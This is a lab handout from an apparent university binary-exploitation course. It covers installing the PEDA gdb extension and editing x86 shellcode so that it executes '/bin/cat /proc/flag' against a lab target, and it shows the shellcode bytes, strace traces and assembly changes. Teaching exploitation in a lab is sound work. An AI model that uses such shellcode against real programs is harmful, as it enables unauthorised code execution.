================================== Lec02: Warming up (one more week!) ================================== 1. Let's make gdb modern with PEDA ================================== 1.1. Installation ----------------- PEDA: http://ropshell.com/peda/ $ echo "source /home/seclab/bin/peda-git/peda.py" >> ~/.gdbinit # TIP. if you don't want to see gdb's init banner $ echo 'alias gdb="gdb -q"' >> ~/.bashrc # TIP. do you want to have a fancy prompt? check /home/seclab/bin/peda-git/peda.py! 1.2. Testing ------------ $ gdb /home/seclab/lab02/tut/shellcode/target ... gdb-peda$ start [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xf7fca000 --> 0x1aada8 ECX: 0x4b099e87 EDX: 0xffffd6d4 --> 0xf7fca000 --> 0x1aada8 ESI: 0x0 EDI: 0x0 EBP: 0xffffd6a8 --> 0x0 ESP: 0xffffd680 --> 0x1 EIP: 0x8048507 (: mov eax,ds:0x804a040) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048500 : push ebx 0x8048501 : and esp,0xfffffff0 0x8048504 : sub esp,0x20 => 0x8048507 : mov eax,ds:0x804a040 0x804850c : mov DWORD PTR [esp+0x8],eax 0x8048510 : mov DWORD PTR [esp+0x4],0x800 0x8048518 : mov DWORD PTR [esp],0x804a060 0x804851f : call 0x80483a0 [------------------------------------stack-------------------------------------] 0000| 0xffffd680 --> 0x1 0004| 0xffffd684 --> 0xffffd744 --> 0xffffd861 ("/home/vagrant/cs6265/lab02/tut/shellcode/target") 0008| 0xffffd688 --> 0xffffd74c --> 0xffffd88d ("XDG_SESSION_ID=2") 0012| 0xffffd68c --> 0xf7e524ad (<__cxa_atexit+29>: test eax,eax) 0016| 0xffffd690 --> 0xf7fca3c4 --> 0xf7fcb1e0 --> 0x0 0020| 0xffffd694 --> 0xf7ffd000 --> 0x20f30 0024| 0xffffd698 --> 0x804860b (<__libc_csu_init+11>: add ebx,0x19f5) 0028| 0xffffd69c --> 0xf7fca000 --> 0x1aada8 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, main () at target.c:10 10 if (!fgets(buf, sizeof(buf), stdin)) gdb-peda$ To play with PEDA, please check: http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf We will introduce a few more PEDA's features in later labs. 1.3. Useful commands -------------------- (https://github.com/longld/peda) aslr -- Show/set ASLR setting of GDB checksec -- Check for various security options of binary dumpargs -- Display arguments passed to a function when stopped at a call instruction dumprop -- Dump all ROP gadgets in specific memory range elfheader -- Get headers information from debugged ELF file elfsymbol -- Get non-debugging symbol information from an ELF file lookup -- Search for all addresses/references to addresses which belong to a memory range patch -- Patch memory start at an address with string/hexstring/int pattern -- Generate, search, or write a cyclic pattern to memory procinfo -- Display various info from /proc/pid/ pshow -- Show various PEDA options and other settings pset -- Set various PEDA options and other settings readelf -- Get headers information from an ELF file ropgadget -- Get common ROP gadgets of binary or library ropsearch -- Search for ROP gadgets in memory searchmem|find -- Search for a pattern in memory; support regex search shellcode -- Generate or download common shellcodes. skeleton -- Generate python exploit code template vmmap -- Get virtual mapping address ranges of section(s) in debugged process xormem -- XOR a memory region with a key Try. $ help peda 2. Shellcode ============ 2.1. Review Makefile and shellcode.S ------------------------------------ $ cat Makefile $ cat shellcode.S 2.2. Let's dump a flag ---------------------- We will modify the shellcode to invoke /bin/cat that reads the flag, as follows: $ cat /proc/flag - Invoke '/bin/cat' instead of '/bin/sh' Please modify below lines in shellcode.S #define STRING "/bin/sh" #define STRLEN 7 Try. $ make test bash -c '(cat shellcode.bin; echo; cat) | ./target' > length: 46 > 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B > 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD > 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 hello hello 1. Type "hello" and do you see echo-ed "hello" after? 2. Let's use "strace" to trace system calls. $ (cat shellcode.bin; echo; cat) | strace ./target ... mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff77b5000 write(1, "> length: 46\n", 13> length: 46 ) = 13 write(1, "> 0000: EB 1F 5E 89 76 09 31 C0 "..., 57> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B ) = 57 write(1, "> 0010: 89 F3 8D 4E 09 8D 56 0D "..., 57> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD ) = 57 write(1, "> 0020: 80 E8 DC FF FF FF 2F 62 "..., 51> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 ) = 51 execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0 [ Process PID=4565 runs in 64 bit mode. ] ... Do you see exeve("/bin/cat"...)? or you can specify "-e" to check systems of your interests (in this case, execve()): $ (cat shellcode.bin; echo; cat) | strace -e execve ./target execve("./target", ["./target"], [/* 20 vars */]) = 0 [ Process PID=4581 runs in 32 bit mode. ] > length: 46 > 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B > 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD > 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0 [ Process PID=4581 runs in 64 bit mode. ] If you are not familiar with execve(), please read "man execve" (and "man strace"). - Let's modify the shellcode to accept an argument (i.e., /proc/flag). Your string payload looks like this: +-------------+ v | [/bin/cat][0][ptr ][NULL] ^ ^ | +-- envp +-- argv NOTE. [0] is overwritten by: movb %al,(STRLEN)(%esi) /* null-terminate our string */ Our plan is to make the payload as follows: +----------------------------+ | +--------------=-----+ v v | | [/bin/cat][0][/proc/flag][0][ptr1][ptr2][NULL] ^ ^ | +-- envp +-- argv 1. Modify "/bin/cat" to "/bin/catN/proc/flag" #define STRING "/bin/catN/proc/flag" #define STRLEN1 8 #define STRLEN2 19 How could you change STRLEN? Fix compilation errors! (N is a placeholder for an NULL byte that we will overwrite). 2. Place a NULL after "/bin/cat" and "/proc/flag" Modify this assembly code: movb %al,(STRLEN)(%esi) /* null-terminate our string */ Then try? $ make test ... execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) Does it execute /bin/cat? 3. Let's modify the "argv" array to point to "/proc/flag"! Referring to this assembly code, how to place the address of "/proc/flag" to ARGV+4. movl %esi,(ARGV)(%esi) /* set up argv[0] pointer to pathname */ Then try? $ make test ... execve("/bin/cat", ["/bin/cat", "/proc/flag"], [/* 0 vars */]) = 0 Does it execute "/bin/cat" with "/proc/flag"! Great! Now you are ready to write x86 shellcodes! In this week, we will be writing various kinds of shellcode (e.g., targeting x86, x86-64, or both!) and also various properties (e.g., ascii-only or size constraint!). Have great fun this week!